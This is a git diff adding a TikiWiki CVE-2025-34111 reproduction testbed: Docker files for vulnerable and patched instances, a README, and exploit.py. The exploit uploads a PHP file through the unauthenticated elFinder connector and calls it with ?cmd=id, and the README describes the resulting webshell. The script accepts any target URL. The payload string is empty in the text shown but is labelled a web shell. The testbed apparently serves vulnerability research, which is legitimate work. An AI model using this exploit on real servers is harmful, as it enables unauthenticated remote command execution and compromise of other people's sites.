diff --git a/tikiwiki/CVE-2025-34111/Dockerfile b/tikiwiki/CVE-2025-34111/Dockerfile new file mode 100644 index 00000000..6f220973 --- /dev/null +++ b/tikiwiki/CVE-2025-34111/Dockerfile @@ -0,0 +1,12 @@ +FROM tikiwiki/php:5-apache + + +USER www-data +WORKDIR /var/www/html + +# Download and unpack TikiWiki 15.1 from the official Situla branch +RUN curl -L https://sourceforge.net/projects/tikiwiki/files/Tiki_15.x_Situla/15.1/tiki-15.1.zip/download -o tiki.zip \ + && unzip tiki.zip \ + && mv tiki-15.1/* . \ + && rm -r tiki.zip tiki-15.1 + diff --git a/tikiwiki/CVE-2025-34111/README.md b/tikiwiki/CVE-2025-34111/README.md new file mode 100644 index 00000000..b1ffb456 --- /dev/null +++ b/tikiwiki/CVE-2025-34111/README.md @@ -0,0 +1,41 @@ +# Unauthenticated File Upload Tikiwiki (CVE-2025-34111) Testbed + +## Setup + +Build and run vulnerable container using docker compose, it will open port 8080 that run tikiwiki. + +1. Run and build tikiwiki docker container + +Vulnerable version + +```bash +docker compose up +``` + +Non-vulnerable version + +```bash +docker compose -f docker-compose-safe.yml up +``` + +2. Follow the setup wizard for tikiwiki installation + - Click continue until Database Connection + - Fill the input: + - Host name: db + - Database name: tikiwiki + - Database username: tiki + - Database password: wiki + - Database engine: InnoDB + - Continue until "Enter tiki and lock installer" + - Set admin password, then logout + + +## How to Trigger the Vulnerability? + +To trigger this vulnerability manually, just simply by running the `exploit.py` + +```bash +python3 exploit.py +``` + +The response should be contains php webshell (e. g. http://localhost:8080/vendor_extra/elfinder/files/CFRmkPLSTH.php?cmd=whoami) \ No newline at end of file diff --git a/tikiwiki/CVE-2025-34111/docker-compose-safe.yml b/tikiwiki/CVE-2025-34111/docker-compose-safe.yml new file mode 100644 index 00000000..2441bb70 --- /dev/null +++ b/tikiwiki/CVE-2025-34111/docker-compose-safe.yml @@ -0,0 +1,19 @@ +services: + tiki: + image: tikiwiki/tikiwiki:20.x + ports: + - "8080:80" + depends_on: + - db + environment: + - TIKI_DB_USER=tiki + - TIKI_DB_PASS=wiki + - TIKI_DB_NAME=tikiwiki + db: + image: mariadb + environment: + - MYSQL_USER=tiki + - MYSQL_PASSWORD=wiki + - MYSQL_DATABASE=tikiwiki + - MYSQL_ROOT_PASSWORD=tkwkiiii + - TERM=dumb \ No newline at end of file diff --git a/tikiwiki/CVE-2025-34111/docker-compose.yml b/tikiwiki/CVE-2025-34111/docker-compose.yml new file mode 100644 index 00000000..5aad7e06 --- /dev/null +++ b/tikiwiki/CVE-2025-34111/docker-compose.yml @@ -0,0 +1,20 @@ +services: + tiki: + build: . + ports: + - "8080:80" + depends_on: + - db + environment: + TIKI_DB_NAME: tikiwiki + TIKI_DB_USER: tiki + TIKI_DB_PASS: wiki + + db: + image: mysql:5.6 + restart: always + environment: + MYSQL_ROOT_PASSWORD: rootpass + MYSQL_DATABASE: tikiwiki + MYSQL_USER: tiki + MYSQL_PASSWORD: wiki diff --git a/tikiwiki/CVE-2025-34111/exploit.py b/tikiwiki/CVE-2025-34111/exploit.py new file mode 100644 index 00000000..ba38ea21 --- /dev/null +++ b/tikiwiki/CVE-2025-34111/exploit.py @@ -0,0 +1,66 @@ +import requests +import random +import string +from urllib.parse import urljoin + +def random_filename(): + return ''.join(random.choices(string.ascii_letters, k=10)) + ".php" + +def check_elfinder(base_url): + test_url = urljoin(base_url, 'vendor_extra/elfinder/elfinder.html') + res = requests.get(test_url) + if res.status_code == 200: + print("[+] ELFinder page is accessible. Target likely vulnerable.") + return True + else: + print("[-] ELFinder page not found. Target may not be vulnerable.") + return False + +def upload_php_payload(base_url, filename, php_code): + upload_url = urljoin(base_url, 'vendor_extra/elfinder/php/connector.minimal.php') + + files = { + 'cmd': (None, 'upload'), + 'target': (None, 'l1_Lw'), # Base64 for "/" + 'upload[]': (filename, php_code, 'application/octet-stream') + } + + print(f"[+] Uploading {filename}...") + res = requests.post(upload_url, files=files) + if res.status_code == 200: + print("[+] Upload appears successful.") + return True + else: + print("[-] Upload failed.") + return False + +def trigger_backdoor(base_url, filename): + shell_url = urljoin(base_url, f'vendor_extra/elfinder/files/{filename}?cmd=id') + print(f"[+] Running 'id' at {shell_url}") + res = requests.get(shell_url) + if res.status_code == 200: + print("[+] Payload executed (response below):\n") + print(res.text) + else: + print("[-] Could not trigger the payload.") + +def main(): + # === Prompt for base URL === + base_url = input("Enter TikiWiki base URL (e.g. http://localhost:8080): ").strip() + if not base_url.endswith('/'): + base_url += '/' + + php_payload = "" # Simple web shell + filename = random_filename() + + if not check_elfinder(base_url): + return + + if upload_php_payload(base_url, filename, php_payload): + trigger_backdoor(base_url, filename) + print(f"[!] Try executing a command: {base_url}vendor_extra/elfinder/files/{filename}?cmd=whoami") + else: + print("[-] Exploit failed during upload.") + +if __name__ == "__main__": + main()